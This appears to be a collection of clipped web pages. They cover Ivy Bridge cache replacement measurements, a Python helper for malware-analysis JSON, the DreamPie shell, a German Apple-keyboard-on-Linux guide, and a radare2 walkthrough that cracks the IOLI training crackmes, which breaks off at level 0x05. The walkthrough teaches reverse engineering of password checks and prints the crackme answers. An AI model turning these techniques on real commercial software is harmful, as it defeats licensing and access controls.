Bridge vs. Ivy Bridge at 8 MB in Figure 2\)**.** A high latency indicates the
use of an LRU-like replacement policy, while a lower latency indicates the use
of a thrashing-friendlier BIP/MRU type policy**.** Figure 5 plots the
results**.**

It appears that most of the cache sets can use both cache replacement
policies, except for two 4 KB regions at 32-36 and 48-52 KB \(4 KB = 64 cache
sets\)**.** These two regions always use LRU and BIP/MRU policies,
respectively**.** The plot is periodic every 128 KB because there are 2048
sets per cache slice**.**

The global-counter learning behaviour is seen in Figure 5 by observing the
different policies used while sweeping `offset` ascending vs**.** descending.
Whenever the `offset` causes memory accesses to land on a dedicated set, it
accumulates cache misses, causing the rest of the cache to flip to using the
other policy**.** Cache misses on follower sets do not influence the policy,
so the policy does not change until `offset` reaches the next dedicated
set**.**

## DIP or DRRIP?

The later paper from Intel \(ISCA 2010\) proposes a replacement policy that is
improved over DIP-SD by also being resistant to scans**.** DIP and DRRIP are
similar in that both use set dueling to choose between two policies \(SRRIP
vs**.** BRRIP in DRRIP, LRU vs**.** BIP in DIP\).

One characteristic of RRIP is that it proposes four levels of re-reference
prediction**.** True LRU has as many levels as the associativity, while NRU
\(not recently used\) has two levels \(recently used, or not\)**.** Intel’s
presentation at Hot Chips 2012 hinted at using four-level RRIP \(“Quad-Age
LRU” on slide 46 \)**.** Thus, I would like to measure whether Ivy Bridge uses
DIP or DRRIP**.**

Scans are short bursts of cache accesses that are not reused**.** SRRIP \(but
not LRU\) attempts to be scan tolerant by predicting new cache lines to have a
“long” re-reference interval and allowing recently-used existing cache lines
to age slowly before being evicted, preferentially evicting the newly-loaded
but not reused cache lines**.** This behaviour provides an opportunity to
detect scan resistance by pointer-chasing through two arrays, one of which is
much larger than the cache \(scanning\), one of which fits in the cache
\(working set\)**.**

Figure 6 plots the average access time for accesses that alternate between a
huge array \(cache miss\) and a small array \(possible cache hit\) whose size
is on the x-axis**.** The size of the working set that will fit in the cache
in the presence of scanning is related to scan resistance**.** Memory accesses
are serialized using `lfence`**.** Replacement policy is selected by choosing
a stride and offset that coincides with a dedicated set \(See Figure 5\)**.**

With half of the accesses hitting each array, an LRU replacement policy splits
the cache capacity evenly between the two arrays, causing L3 misses when the
small array size exceeds ~half the cache**.** BIP \(or BRRIP\) is scan-
resistant and keeps most of the cache for the frequently-reused small
array**.** The LRU/SRRIP policy in Ivy Bridge behaves very similar to Sandy
Bridge and does not seem to be scan-resistant, thus it is likely not SRRIP as
proposed**.** It could, however, be a variant on SRRIP crafted to behave like
LRU**.**

The four-level RRIP family of replacement policies are an extension of NRU,
using two bits per cache line to encode how soon each cache line should be
evicted \(RRPV\)**.** On eviction, one cache line with RRPV=3 \(LRU position\)
is chosen to be evicted**.** If no cache lines have RRPV=3, all RRPV values
are incremented until a cache line can be evicted**.** Whenever a cache line
is accessed \(cache hit\), its RRPV value is set to 0 \(MRU position\)**.**
The various insertion policies as proposed in the paper are as follows:

  * **BRRIP** : New cache lines are inserted with RRPV=3 with high probability, RRPV=2 otherwise**.**
  * **SRRIP** : New cache lines are inserted with RRPV=2

I made some modifications for my simulations:

  * **BRRIP** : Modified the low-probability case to insert with RRPV=0 instead of RRPV=2
  * **LRU-like RRIP** : New cache lines are inserted with RRPV=0**.** This is intended to approximate LRU.

Figure 7 shows L3-only cache simulation results of running the same access
pattern through simulations of several replacement policies**.** The simulated
cache is configured to match the Core i5 \(four 1**.** 5 MB slices, 12-way\).
The two policies used by Ivy Bridge \(Figure 6\) match very closely to LRU and
BRRIP**.** Ivy Bridge matches less closely to a modified four-level RRIP
configured to behave like LRU, and also matches slightly less well to BIP
\(not shown\) than BRRIP**.** The simulation of SRRIP verifies its scan-
resistance properties, which are not observed in the experimental measurement
of Ivy Bridge**.**

I am not able to measure whether Ivy Bridge has really changed from the
pseudo-LRU that was used in Sandy Bridge to a four-level RRIP**.** Given
Intel’s hint in the slide and that Ivy Bridge behaves slightly differently
from Sandy Bridge, I am inclined to believe that Ivy Bridge uses RRIP, despite
the experimental measurements matching more closely to LRU than LRU-like four-
level RRIP**.** However, it is fairly clear that Ivy Bridge lacks the scan-
resistance property proposed in the ISCA 2010 paper**.**

## Conclusion****

Although the cache organization between Sandy Bridge and Ivy Bridge are
essentially identical, Ivy Bridge’s L3 cache has an improved replacement
policy**.** The policy appears to be similar to a hybrid between “Dynamic
Insertion Policy — Set Duel” \(DIP-SD\) and “Dynamic Re-Reference Interval
Prediction” \(DRRIP\), using four-level re-reference predictions and set
dueling, but without scan resistance**.** For each 2048-set cache slice, 64
sets are dedicated to each of the LRU-like and BRRIP policies, with the
remaining 1920 cache sets being follower sets that follow the better
policy**.**

## Acknowledgements****

Many thanks to my friend Wilson  for pointing me to the two ISCA papers on DIP
and DRRIP**.**

****

# MalObjClass.py - Interact with your samples\! - 9b+

**Created:**| _4/14/2011 3:25:05 PM_  
---|---  
**Updated:**| _4/14/2011 3:25:05 PM_  
**Author:**| __  
**Tags:**| _bookmark python Malware-analysis programming_  
  

## MalObjClass.py - Interact with your samples\!

During my research I often find myself needing to take the output JSON from
malpdfobj and get some information from it. I coded up quick scripts here and
there, but quickly saw that I was typing the same thing over and over. Rather
then having to continue doing this, I wrote a quick class respectively named
malobjclass that will parse the whole JSON object out into a python object
with a bunch of helpful properties to access my data.

For this to work, you just need to send your JSON output from malpdfobj to the
class and you are done. To do that you have a few options. You could call the
build object from another Python file and save the output in a local variable
that gets passed to the class or you could store the output in a file, read
it, load it as JSON and then send it to the class. The choices are up to the
end user, but in the end it takes no more then 10 lines of code to make use of
the class and it saves a whole lot of time.

Instead of listing all the methods here in the blog, I have just included the
PyDoc HTML output in the githib repository. Feel free to visit here to take a
look at the documentation. Comments are sparse as the method names describe
what aspect of the object it is getting. If you have any questions or feedback
then shoot me an email or post a comment.

# DreamPie: The Python shell you've always dreamed about\!

**Created:**| _9/16/2010 9:51:17 AM_  
---|---  
**Updated:**| _11/15/2010 9:44:51 AM_  
**Author:**| __  
**Tags:**| _python commandline-kungfu programming awesome_  
  

# DreamPie

## The Python shell you've always dreamed about\!

Home | Download | Report a Bug | Participate
Welcome to DreamPie\!

## DreamPie is a Python shell which is designed to be reliable and fun.

<img src='img/Temp2_2446.png' alt='Download Now' /> | 
## Download Now\!  
---|---  
DreamPie was designed from the ground up to bring you a great interactive
Python experience:

  * DreamPie features a new concept for an interactive shell: the window is divided into the _history box_ , which lets you view previous commands and their output, and the _code box_ , where you write your code. This allows you to edit any amount of code, just like in your favorite editor, and execute it when it's ready. You can also copy code from anywhere, edit it and run it instantly.
  * The _Copy code only_ command will copy the code you want to keep, so you can save it in a file. The code is already formatted nicely with a four-space indentation.
  * Features automatic completion of attributes and file names.
  * Automatically displays function arguments and documentation.
  * Keeps your recent results in the _result history_ , for later user.
  * Can automatically fold long outputs, so you can concentrate on what's important.
  * Lets you save the history of the session as an HTML file, for future reference. You can then load the history file into DreamPie, and quickly redo previous commands.
  * Automatically adds parentheses and optionally quotes when you press space after functions and methods. For example, `execfile fn` automatically turns into `execfile("fn")`.
  * Supports interactive plotting with matplotlib. \(You have to set "interactive: True" in the matplotlibrc file for this to work.\)
  * Supports Python 2.5, 2.6, 2.7, Jython 2.5, IronPython 2.6 and Python 3.1.
  * Works on Windows, Linux and Mac. \(Mac support requires MacPorts.\)
  * Extremely fast and responsive.
  * Free software licensed under GPL version 3.

Learn what's new in DreamPie 1.1\!

## See it in action

<img src='img/Temp2_2440.png' alt='The DreamPie Window' /> |  | <img src='img/Temp2_2447.png' alt='Function documentation and filename completion.' />  
---|---|---  
The DreamPie window |  | Function documentation and filename completion. There's attribute completion too, of course\!  
<img src='img/Temp2_2442.png' alt='DreamPie with matplotlib' /> |  | <img src='img/Temp2_2438.png' alt='Interrupt the process or kill it - the history is preserved!' />  
DreamPie with matplotlib |  | Interrupt the process or kill it - the history is preserved\!  
<img src='img/Temp2_2443.png' alt='Results are automatically saved in the result history.' /> |  | <img src='img/Temp2_2444.png' alt='Long output sections are automatically folded.' />  
Results are automatically saved in the _result history_. |  | Long output sections are automatically folded.  
<img src='img/Temp2_2445.png' alt='Jython support' /> |  | <img src='img/Temp2_2439.png' alt='IronPython Support' />  
Jython support makes DreamPie an excellent tool for exploring Java classes... |  | ...And IronPython support lets you explore .NET classes\!  
<img src='img/Temp2_2441.png' alt='Save history as an HTML file.' /> |  |   
You can keep your session history as an HTML file, and load it back into DreamPie. |  |   
## Participate

Please participate by reporting a bug, suggesting a feature, joining the
mailing list, joining \#dreampie at freenode, or contributing code. With your
help, DreamPie can be made even better\!

## About Me

DreamPie was created by Noam Yorav-Raphael. Some of the code is based on IDLE
- the IDE shipped with Python. I contributed the AutoComplete feature to IDLE,
and worked with it quite a lot, but became frustrated with its limitations. So
I decided to write a new interactive shell, which will combine the best of
IDLE, IPython and the plain old Python shell.

I hope you enjoy it\!

© Copyright 2010, Noam Yorav-Raphael

# Apple Keyboard unter Linux | Linux und Ich
**Created:**| _12/15/2009 8:38:04 AM_  
---|---  
**Updated:**| _12/15/2009 8:38:18 AM_  
**Author:**| __  
**Tags:**| __  
  

## Apple Keyboard unter Linux

Oktober 14th, 2009 § 11

<img src='img/Temp2_861.jpg' width='475' height='100' alt='applekeyboard' />

Vor einiger Zeit bin ich schonmal auf das Thema Apple Tastatur und Mighty Maus
mit Linux eingegangen, doch damals habe ich eher die Problemchen aufgelistet
als direkt Lösungen zu geben, da ich in letzter Zeit ein paar Anfragen zu
diesem Thema hatt, hole ich das an dieser Stelle nach. Viele der Lösungen sind
auf help.ubuntu.com zu finden, allerdings nicht unbedingt auf ein deutsches
Layout angepasst.

Zwei Probleme können einen den Spaß an der feinen Tastatur unter Linux
verleiden. Zum einen sind die Funktionstasten mit Multimedia-Funktionen wie
Leiser/Lauter belegt. Erst die Kombination fn+F2 lässt einen erst Dateien
umbenennen. Das gravierendere Problem ist jedoch dass zwei Tasten vertauscht
sind. Doch beide Problematiken kann man relativ leicht lösen.

## Funktionstasten

Ich persönlich brauche die Funktionstasten F1, F2 usw. öfters als
Multimediafunktionen wie Lauter oder Leiser. Die Voreinstellung liegt jedoch
auf den Multimediafunktionen. Dies kann man über einen Eintrag in die
Datei**/etc/modprobe.d/hid\_apple.conf** korrigieren. Öffnet sie in einem
Editor…

[code]

    $ sudo gedit /etc/modprobe.d/hid_apple.conf
    
    
[/code]

…und fügt in diese \(anfangs leere\) Datei die Zeile…

[code]

    options hid_apple fnmode=2
    
    
[/code]

… ein. Abschließend müsst Ihr noch

[code]

    $ sudo update-initramfs -u
    
    
[/code]

ausführen. Nach einem Neustart des Rechners kann man nun F2 wieder direkt
Dateien umbenennen. Weitere Informationen zu diese Option findet man
imenglischen Wiki.

## Vertauschte Tasten

Umständlicher ist es die Verdrehung der Tasten \[^/°\] und \[</>\] zu
korrigieren. Anstatt die Lösung vorzukauen, gehe ich kurz auf den Lösungsweg
ein. Ungeduldige können die ersten Schritte einfach überspringen.

Mittels des kleinen Programms xev, geht es erstmal darum den “keycode” der
betroffenen Tasten herauszufinden. Hat man das Programm aufgerufen, so bekommt
man diesen angezeigt, sobald man die Tasten drückt. Im Fall von \[^/°\] bzw.
\[</>\] sehr Ihr folgendes.

[code]

    $ xev | grep keycode
        state 0x10, keycode 94 (keysym 0xfe52, dead_circumflex), same_screen YES,
        state 0x10, keycode 94 (keysym 0xfe52, dead_circumflex), same_screen YES,
        state 0x10, keycode 49 (keysym 0x3c, less), same_screen YES,
        state 0x10, keycode 49 (keysym 0x3c, less), same_screen YES,
    
    
[/code]

Es dreht sich also um die Tasten mit den Keycodes 49 und 94. Die Belegung
dieser Tasten kann man sich mittels xmodmap anzeigen lassen. Da nur die beiden
Tasten interessieren filtere ich das Ergebnis nach den beiden Keycodes.

[code]

    $ xmodmap -pke | grep " 49"
    keycode  49 = dead_circumflex degree dead_circumflex degree U2032 U2033 U2032
    $ xmodmap -pke | grep " 94"
    keycode  94 = less greater less greater bar brokenbar bar
    
    
[/code]

Hier seht Ihr die Belegungen der Tasten und auch das Problem, auf der
\[^/°\]-Taste liegen die Zeichen für kleiner, größer usw. Mittels xmodmap kann
man jedoch nicht nur die Tastenbelegung anzeigen, sondern auch ändern. Via…

[code]

    $ xmodmap -e 'keycode 49 = less greater less greater bar brokenbar bar' -e 'keycode 94 = dead_circumflex degree dead_circumflex degree U2032 U2033 U2032'
    
    
[/code]

…könnt Ihr die Belegung bis zum nächsten Neustart korrigieren. Die einfachste
Lösung die Belegung permanent zu ändern ist über die Befehle…

[code]

    $ xmodmap -pke | grep " 49" >> ~/.Xmodmap
    $ xmodmap -pke | grep " 94" >> ~/.Xmodmap
    
    
[/code]

…diese schreiben die Belegung in die Konfigurationsdatei **~/.Xmodmap** im
Homeverzeichnis des aktuellen Benutzers. Am besten kontrolliert Ihr danach die
Belegung über einen Editor…

[code]

    $ gedit ~/.Xmodmap
    
    
[/code]

… die Datei sollte so aussehen…

[code]

    keycode  94 = dead_circumflex degree dead_circumflex degree U2032 U2033 U2032
    keycode  49 = less greater less greater bar brokenbar bar
    
    
[/code]

…beim nächsten Start fragt das System noch, ob die gefundenen ~/.Xmodmap auch
wirklich benutzt werden soll. Ihr wählt die gerade erstellte Datei aus \[1\]
und lässt sie laden \[2\]. Beim nächsten Start des Rechners erscheint die
Abfrage nicht mehr.

<img src='img/Temp2_859.jpg' width='475' height='304' alt='Laden der Xmodmap-
Datei' />

Laden der Xmodmap-Datei

Von nun an, gibt es keine lästigen Vertipper mehr, da alle Tasten dort
stecken, wo man sie auch vermutet. Fehlen nur noch Ersatztasten, auf denen die
Sonderzeichen \{,\} oder ~ auch aufgedruckt sind, aber ich glaube für
Programmierer ist die Apple-Tastatur sowieso nichts <img
src='img/Temp2_860.jpg' alt=';)' />

# Artificial truth · Defeating ioli with radare2

**Created:**| _9/1/2015 2:59:54 PM_  
---|---  
**Updated:**| _9/1/2015 2:59:54 PM_  
**Author:**| __  
**Tags:**| _reversing commandline-kungfu_  
  
  

##  Defeating ioli with radare2

This blogpost is a revival of a collection of ancients one. I was too lazy to
port them from wordpress to pelican. But TDKPS asked me if I could put them
back online, since he used them to teach radare2's basics.

Enjoy a completely rewritten reverse-engeenering tutorial proudly powered by
radare2 \!

Grab radare2, an asm cheat sheet, the IOLI crackme suite, \(local mirror\) and
get ready.

# crackme 0x00

This is the first crackme, the easiest one.

[code]

    $ ./crackme0x00
    OLI Crackme Level 0x00
    Password: 1234
    Invalid Password!
    
[/code]

Maybe the password is in plain text inside it. No need to disassemble here,
we'll just use _rabin2_ , the "binary program info extractor" from radare2.

The rabin2's option to show strings contained in a binary is _-z_ \(_man
rabin2_\)

[code]

    $ rabin2 -z ./crackme0x00
    [strings]
    addr=0x08048568 off=0x00000568 ordinal=000 sz=24 section=.rodata string=IOLICrackmeLevel0x00
    addr=0x08048581 off=0x00000581 ordinal=001 sz=11 section=.rodata string=Password
    addr=0x0804858f off=0x0000058f ordinal=002 sz=7 section=.rodata string=250382
    addr=0x08048596 off=0x00000596 ordinal=003 sz=18 section=.rodata string=InvalidPassword!
    addr=0x080485a9 off=0x000005a9 ordinal=004 sz=15 section=.rodata string=PasswordOK
    
    5 strings
    
[/code]

What is 250382 ?

[code]

    $ ./crackme0x00
    IOLI Crackme Level 0x00
    Password: 250382
    Password OK :)
    
[/code]

# crackme0x01

This time, no luck with _rabin2 -z_. Let's check with _radare2_.

[code]

    $ r2 ./crackme0x01
    [0x08048330]> aa
    [0x08048330]> pdf@sym.main
    / function: sym.main (113)
    |       0x080483e4  sym.main:
    |       0x080483e4     55               push ebp
    |       0x080483e5     89e5             mov ebp, esp
    |       0x080483e7     83ec18           sub esp, 0x18
    |       0x080483ea     83e4f0           and esp, 0xfffffff0
    |       0x080483ed     b800000000       mov eax, 0x0
    |       0x080483f2     83c00f           add eax, 0xf
    |       0x080483f5     83c00f           add eax, 0xf
    |       0x080483f8     c1e804           shr eax, 0x4
    |       0x080483fb     c1e004           shl eax, 0x4
    |       0x080483fe     29c4             sub esp, eax
    |       0x08048400     c7042428850408   mov dword [esp], str.IOLICrackmeLevel0x01
    |       0x08048407     e810ffffff       call dword imp.printf
    |          ; imp.printf()
    |       0x0804840c     c7042441850408   mov dword [esp], str.Password
    |       0x08048413     e804ffffff       call dword imp.printf
    |          ; imp.printf()
    |       0x08048418     8d45fc           lea eax, [ebp-0x4]
    |       0x0804841b     89442404         mov [esp+0x4], eax
    |       0x0804841f     c704244c850408   mov dword [esp], 0x804854c
    |       0x08048426     e8e1feffff       call dword imp.scanf
    |          ; imp.scanf()
    |       0x0804842b     817dfc9a140000   cmp dword [ebp-0x4], 0x149a
    |   ,=< 0x08048432     740e             jz loc.08048442
    |   |   0x08048434     c704244f850408   mov dword [esp], str.InvalidPassword!
    |   |   0x0804843b     e8dcfeffff       call dword imp.printf
    |   |      ; imp.printf()
    |  ,==< 0x08048440     eb0c             jmp loc.0804844e
    |  ||   ; CODE (JMP) XREF 0x08048432 (sym.main)
    / loc: loc.08048442 (19)
    |  ||   0x08048442  loc.08048442:
    |  |`-> 0x08048442     c7042462850408   mov dword [esp], str.PasswordOK
    |  |    0x08048449     e8cefeffff       call dword imp.printf
    |  |       ; imp.printf()
    |  |    ; CODE (JMP) XREF 0x08048440 (sym.main)
    / loc: loc.0804844e (7)
    |  |    0x0804844e  loc.0804844e:
    |  `--> 0x0804844e     b800000000       mov eax, 0x0
    |       0x08048453     c9               leave
    \       0x08048454     c3               ret
    
[/code]

The "aa" commands tells r2 to analyse the whole binary. This will get you nice
symbols names and fancy stuffs. "pdf" stands for

  * print
  * disassemble
  * function

So, this will print the disassembly of sym.main function, aka the main\(\)
that every one knows. Back to the listing, you can see several stuffs: weird
names, arrows, ...

  * imp. stands for imports. Those are _imported_ symbols, like printf\(\)
  * str. stands for strings. Those are strings \(no shit \!\).

If you look carefully, you'll see a _cmp_ instruction, with a constant:
0x149a. The "0x" in front of it indicates that it's in base 16. You can use
radare2's to get it in another base:

[code]

    [0x08048330]> ? 0x149a
    5274 0x149a 012232 10011010 0.000000
    
[/code]

Ok, 0x149a is 5274.

[code]

    $ ./crackme0x01
    IOLI Crackme Level 0x01
    Password: 5274
    Password OK :)
    
[/code]

# crackme0x03

[code]

    aa
    pdf@sym.main
    / function: sym.main (128)
    |     0x08048498  sym.main:
    |     0x08048498     55               push ebp
    |     0x08048499     89e5             mov ebp, esp
    |     0x0804849b     83ec18           sub esp, 0x18
    |     0x0804849e     83e4f0           and esp, 0xfffffff0
    |     0x080484a1     b800000000       mov eax, 0x0
    |     0x080484a6     83c00f           add eax, 0xf
    |     0x080484a9     83c00f           add eax, 0xf
    |     0x080484ac     c1e804           shr eax, 0x4
    |     0x080484af     c1e004           shl eax, 0x4
    |     0x080484b2     29c4             sub esp, eax
    |     0x080484b4     c7042410860408   mov dword [esp], str.IOLICrackmeLevel0x03
    |     0x080484bb     e890feffff       call dword imp.printf
    |        ; imp.printf()
    |     0x080484c0     c7042429860408   mov dword [esp], str.Password
    |     0x080484c7     e884feffff       call dword imp.printf
    |        ; imp.printf()
    |     0x080484cc     8d45fc           lea eax, [ebp-0x4]
    |     0x080484cf     89442404         mov [esp+0x4], eax
    |     0x080484d3     c7042434860408   mov dword [esp], 0x8048634
    |     0x080484da     e851feffff       call dword imp.scanf
    |        ; imp.scanf()
    |     0x080484df     c745f85a000000   mov dword [ebp-0x8], 0x5a
    |     0x080484e6     c745f4ec010000   mov dword [ebp-0xc], 0x1ec
    |     0x080484ed     8b55f4           mov edx, [ebp-0xc]            ; edx = 0x1ec
    |     0x080484f0     8d45f8           lea eax, [ebp-0x8]            ; eax -> ebp-0x8
    |     0x080484f3     0110             add [eax], edx                ; ebp-0x8 = (0x5a + 0x1ec)
    |     0x080484f5     8b45f8           mov eax, [ebp-0x8]            ; eax = 0x5a + 0x1ec = 0x246
    |     0x080484f8     0faf45f8         imul eax, [ebp-0x8]           ; eax = 0x246 * 0x246 = 0x52b24
    |     0x080484fc     8945f4           mov [ebp-0xc], eax            ; ebp-0xc = 0x52b24
    |     0x080484ff     8b45f4           mov eax, [ebp-0xc]            ; eax = 0x52b24
    |     0x08048502     89442404         mov [esp+0x4], eax            ; esp+0x4 = eax
    |     0x08048506     8b45fc           mov eax, [ebp-0x4]
    |     0x08048509     890424           mov [esp], eax
    |     0x0804850c     e85dffffff       call dword sym.test
    |        ; sym.test()
    |     0x08048511     b800000000       mov eax, 0x0
    |     0x08048516     c9               leave
    \     0x08048517     c3               ret
        ; ------------
    
[/code]

Ho, a call to a interesting function: sym.test, called with two parameters:
Likely our password, and 0x52b24 \(or 338724 if you prefer\).

[code]

    pdf@sym.test
            ; CODE (CALL) XREF 0x0804850c (sym.main)
    / function: sym.test (42)
    |       0x0804846e  sym.test:
    |       0x0804846e     55               push ebp
    |       0x0804846f     89e5             mov ebp, esp
    |       0x08048471     83ec08           sub esp, 0x8
    |       0x08048474     8b4508           mov eax, [ebp+0x8]
    |       0x08048477     3b450c           cmp eax, [ebp+0xc]
    |   ,=< 0x0804847a     740e             jz loc.0804848a
    |   |   0x0804847c     c70424ec850408   mov dword [esp], str.LqydolgSdvvzrug$
    |   |   0x08048483     e88cffffff       call dword sym.shift
    |   |      ; sym.shift(unk)
    |  ,==< 0x08048488     eb0c             jmp loc.08048496
    |  ||   ; CODE (JMP) XREF 0x0804847a (sym.test)
    / loc: loc.0804848a (14)
    |  ||   0x0804848a  loc.0804848a:
    |  |`-> 0x0804848a     c70424fe850408   mov dword [esp], str.SdvvzrugRN$$$=,
    |  |    0x08048491     e87effffff       call dword sym.shift
    |  |       ; sym.shift()
    |  |    ; CODE (JMP) XREF 0x08048488 (sym.test)
    / loc: loc.08048496 (2)
    |  |    0x08048496  loc.08048496:
    |  `--> 0x08048496     c9               leave
    \       0x08048497     c3               ret
    
[/code]

And now, you ~~should~~ must be lazy. There is a cmp, and two _path_ , with
mangled strings. This seems to be a goodboy/badboy.

[code]

    $ ./crackme0x03
    IOLI Crackme Level 0x03
    Password: 338724
    Password OK!!! :)
    
[/code]

You can also reverse the sym.shift function:

[code]

    [0x08048360]> pdf@sym.shift
            ; CODE (CALL) XREF 0x08048491 (sym.test)
            ; CODE (CALL) XREF 0x08048483 (sym.test)
    / function: sym.shift (90)
    |       0x08048414  sym.shift:
    |       0x08048414     55               push ebp
    |       0x08048415     89e5             mov ebp, esp
    |       0x08048417     81ec98000000     sub esp, 0x98
    |       0x0804841d     c7458400000000   mov dword [ebp-0x7c], 0x0  ; this seems to be a counter
    |  .    ; CODE (JMP) XREF 0x0804844e (sym.shift)
    / loc: loc.08048424 (74)
    |  .    0x08048424  loc.08048424:
    |  .--> 0x08048424     8b4508           mov eax, [ebp+0x8] ; ebp+0x8 = strlen(chain)
    |  |    0x08048427     890424           mov [esp], eax
    |  |    0x0804842a     e811ffffff       call dword imp.strlen
    |  |       ; imp.strlen()
    |  |    0x0804842f     394584           cmp [ebp-0x7c], eax
    |  |,=< 0x08048432     731c             jae loc.08048450
    |  ||   0x08048434     8d4588           lea eax, [ebp-0x78]
    |  ||   0x08048437     89c2             mov edx, eax
    |  ||   0x08048439     035584           add edx, [ebp-0x7c]
    |  ||   0x0804843c     8b4584           mov eax, [ebp-0x7c]
    |  ||   0x0804843f     034508           add eax, [ebp+0x8]
    |  ||   0x08048442     0fb600           movzx eax, byte [eax]
    |  ||   0x08048445     2c03             sub al, 0x3
    |  ||   0x08048447     8802             mov [edx], al
    |  ||   0x08048449     8d4584           lea eax, [ebp-0x7c]
    |  ||   0x0804844c     ff00             inc dword [eax]
    |  `==< 0x0804844e     ebd4             jmp loc.08048424
    |   |   ; CODE (JMP) XREF 0x08048432 (sym.shift)
    / loc: loc.08048450 (30)
    |   |   0x08048450  loc.08048450:
    |   `-> 0x08048450     8d4588           lea eax, [ebp-0x78]
    |       0x08048453     034584           add eax, [ebp-0x7c]
    |       0x08048456     c60000           mov byte [eax], 0x0
    |       0x08048459     8d4588           lea eax, [ebp-0x78]
    |       0x0804845c     89442404         mov [esp+0x4], eax
    |       0x08048460     c70424e8850408   mov dword [esp], 0x80485e8
    |       0x08048467     e8e4feffff       call dword imp.printf
    |          ; imp.printf()
    |       0x0804846c     c9               leave
    \       0x0804846d     c3               ret
            ; ------------
    
[/code]

A strlen, a comparison to a counter, ... This looks like a \(simple\)
decryption loop to check the password's length\! And the only operation done
is actually a "dec 0x3". Since this function is named _shift_ , this seems
plausible. Let's check with some Python:

[code]

    print ''.join([chr(ord(i)-0x3) for i in 'SdvvzrugRN$$$'])
        PasswordOK!!!
    print ''.join([chr(ord(i)-0x3) for i in 'LqydolgSdvvzrug$'])
        InvalidPassword!
    
[/code]

Woohoo, we were right.

# crackme0x04

[code]

    [0x080483d0]> aa
    [0x080483d0]> pdf@sym.main
    / function: sym.main (92)
    |     0x08048509  sym.main:
    |     0x08048509     55               push ebp
    |     0x0804850a     89e5             mov ebp, esp
    |     0x0804850c     81ec88000000     sub esp, 0x88
    |     0x08048512     83e4f0           and esp, 0xfffffff0
    |     0x08048515     b800000000       mov eax, 0x0
    |     0x0804851a     83c00f           add eax, 0xf
    |     0x0804851d     83c00f           add eax, 0xf
    |     0x08048520     c1e804           shr eax, 0x4
    |     0x08048523     c1e004           shl eax, 0x4
    |     0x08048526     29c4             sub esp, eax
    |     0x08048528     c704245e860408   mov dword [esp], str.IOLICrackmeLevel0x04
    |     0x0804852f     e860feffff       call dword imp.printf
    |        ; imp.printf()
    |     0x08048534     c7042477860408   mov dword [esp], str.Password
    |     0x0804853b     e854feffff       call dword imp.printf
    |        ; imp.printf()
    |     0x08048540     8d4588           lea eax, [ebp-0x78]
    |     0x08048543     89442404         mov [esp+0x4], eax
    |     0x08048547     c7042482860408   mov dword [esp], 0x8048682
    |     0x0804854e     e821feffff       call dword imp.scanf
    |        ; imp.scanf()
    |     0x08048553     8d4588           lea eax, [ebp-0x78]
    |     0x08048556     890424           mov [esp], eax
    |     0x08048559     e826ffffff       call dword sym.check
    |        ; sym.check()
    |     0x0804855e     b800000000       mov eax, 0x0
    |     0x08048563     c9               leave
    \     0x08048564     c3               ret
        ; ------------
    
[/code]

Nothing funky nor new.

[code]

    [0x080483d0]> pdf@sym.check
            ; CODE (CALL) XREF 0x08048559 (sym.main)
    / function: sym.check (133)
    |        0x08048484  sym.check:
    |        0x08048484     55               push ebp
    |        0x08048485     89e5             mov ebp, esp
    |        0x08048487     83ec28           sub esp, 0x28
    |        0x0804848a     c745f800000000   mov dword [ebp-0x8], 0x0  ; smells like those lines
    |        0x08048491     c745f400000000   mov dword [ebp-0xc], 0x0  ; are counters !
    |  .     ; CODE (JMP) XREF 0x080484f9 (sym.check)
    / loc: loc.08048498 (113)
    |  .     0x08048498  loc.08048498:
    |  .---> 0x08048498     8b4508           mov eax, [ebp+0x8]
    |  |     0x0804849b     890424           mov [esp], eax
    |  |     0x0804849e     e8e1feffff       call dword imp.strlen
    |  |        ; imp.strlen()
    |  |     0x080484a3     3945f4           cmp [ebp-0xc], eax            ; counter > strlen ?
    |  | ,=< 0x080484a6     7353             jae loc.080484fb              ; if yes, jumps to badboy
    |  | |   0x080484a8     8b45f4           mov eax, [ebp-0xc]
    |  | |   0x080484ab     034508           add eax, [ebp+0x8]
    |  | |   0x080484ae     0fb600           movzx eax, byte [eax]
    |  | |   0x080484b1     8845f3           mov [ebp-0xd], al
    |  | |   0x080484b4     8d45fc           lea eax, [ebp-0x4]
    |  | |   0x080484b7     89442408         mov [esp+0x8], eax
    |  | |   0x080484bb     c744240438860408 mov dword [esp+0x4], 0x8048638 ; what is that ?
    |  | |   0x080484c3     8d45f3           lea eax, [ebp-0xd]
    |  | |   0x080484c6     890424           mov [esp], eax
    |  | |   0x080484c9     e8d6feffff       call dword imp.sscanf
    |  | |      ; imp.sscanf()
    |  | |   0x080484ce     8b55fc           mov edx, [ebp-0x4]            ; edx = scanf()'s result
    |  | |   0x080484d1     8d45f8           lea eax, [ebp-0x8]
    |  | |   0x080484d4     0110             add [eax], edx                ; ebp-0x8 is incremented
    |  | |   0x080484d6     837df80f         cmp dword [ebp-0x8], 0xf      ; and compared to 0xf
    |  |,==< 0x080484da     7518             jnz loc.080484f4              ; if not equals, jump !
    |  |||   0x080484dc     c704243b860408   mov dword [esp], str.PasswordOK!
    |  |||   0x080484e3     e8acfeffff       call dword imp.printf
    |  |||      ; imp.printf()
    |  |||   0x080484e8     c7042400000000   mov dword [esp], 0x0
    |  |||   0x080484ef     e8c0feffff       call dword imp.exit
    |  |||      ; imp.exit()
    |  ||    ; CODE (JMP) XREF 0x080484da (sym.check)
    / loc: loc.080484f4 (21)
    |  ||    0x080484f4  loc.080484f4:
    |  |`--> 0x080484f4     8d45f4           lea eax, [ebp-0xc]
    |  | |   0x080484f7     ff00             inc dword [eax]
    |  `===< 0x080484f9     eb9d             jmp loc.08048498
    |    |   ; CODE (JMP) XREF 0x080484a6 (sym.check)
    / loc: loc.080484fb (14)
    |    |   0x080484fb  loc.080484fb:
    |    `-> 0x080484fb     c7042449860408   mov dword [esp], str.PasswordIncorrect!
    |        0x08048502     e88dfeffff       call dword imp.printf
    |           ; imp.printf()
    |        0x08048507     c9               leave
    \        0x08048508     c3               ret
            ; ------------
    
[/code]

Strlen again, a loop, scanf, ...

What is send to scanf ?

[code]

    [0x080483d0]> s 0x8048638
    [0x08048638]> ps
    %d
    [0x08048638]>
    
[/code]

This seems to be some kind of atoi\(\), but with scanf\(\). So, our password's
sum must be equals to 0xf \(aka 15\) at some point.

[code]

    $ ./crackme0x04
    IOLI Crackme Level 0x04
    Password: 96
    Password OK!
    
[/code]

# crackme0x05

[code]

    [0x080483d0]> aa
    [0x080483d0]> pdf@sym.main
    / function: sym.main (92)
    |     0x08048540  sym.main:
    |     0x08048540     55               push ebp
